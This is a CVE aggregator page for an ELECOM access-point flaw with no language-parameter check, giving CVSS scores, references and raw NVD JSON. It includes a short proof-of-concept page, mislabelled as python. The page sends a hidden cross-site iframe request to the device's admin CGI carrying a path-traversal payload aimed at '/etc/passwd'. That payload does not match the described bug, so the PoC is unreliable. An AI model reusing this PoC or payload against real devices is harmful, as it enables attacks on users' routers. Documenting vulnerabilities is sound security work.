CVE-2026-42950

Description

ELECOM wireless LAN access point devices do not check if language parameter has an appropriate value. If a user views a malicious page while logged in, the admin page on the user's web browser may become broken.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

ELECOM wireless LAN access point devices (具体版本请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-42950 -->
<!-- Description: Exploits the lack of validation on the 'language' parameter to break the admin UI. -->

<html>
<head>
    <title>CVE-2026-42950 PoC</title>
</head>
<body>
    <h2>ELECOM Access Point Vulnerability Test</h2>
    <p>This page attempts to exploit the vulnerability by sending a request with an invalid language parameter.</p>
    
    <button onclick="triggerExploit()">Click to Test</button>

    <script>
        function triggerExploit() {
            // Define the target IP or hostname of the ELECOM device
            var targetHost = "http://192.168.1.1"; 
            
            // The vulnerable endpoint and parameter
            var payload = "../../../../etc/passwd"; // Example of malicious input or simply random chars to break parsing
            var exploitUrl = targetHost + "/admin/index.cgi?language=" + encodeURIComponent(payload);
            
            // Create a hidden iframe to send the request in the background
            var iframe = document.createElement('iframe');
            iframe.style.display = 'none';
            iframe.src = exploitUrl;
            document.body.appendChild(iframe);
            
            console.log("Malicious request sent to: " + exploitUrl);
            alert("Request sent. If the admin page is open in another tab or session, it may become unresponsive or broken.");
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42950
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42950
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42950/
[4] VulDB https://vuldb.com/cve/CVE-2026-42950
[5] https://jvn.jp/en/jp/JVN03037325/
[6] https://www.elecom.co.jp/news/security/20260512-01/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42950", "sourceIdentifier": "[email protected]", "published": "2026-05-13T13:16:44.200", "lastModified": "2026-05-13T15:47:10.327", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ELECOM wireless LAN access point devices do not check if language parameter has an appropriate value. If a user views a malicious page while logged in, the admin page on the user's web browser may become broken."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-754"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN03037325/", "source": "[email protected]"}, {"url": "https://www.elecom.co.jp/news/security/20260512-01/", "source": "[email protected]"}]}}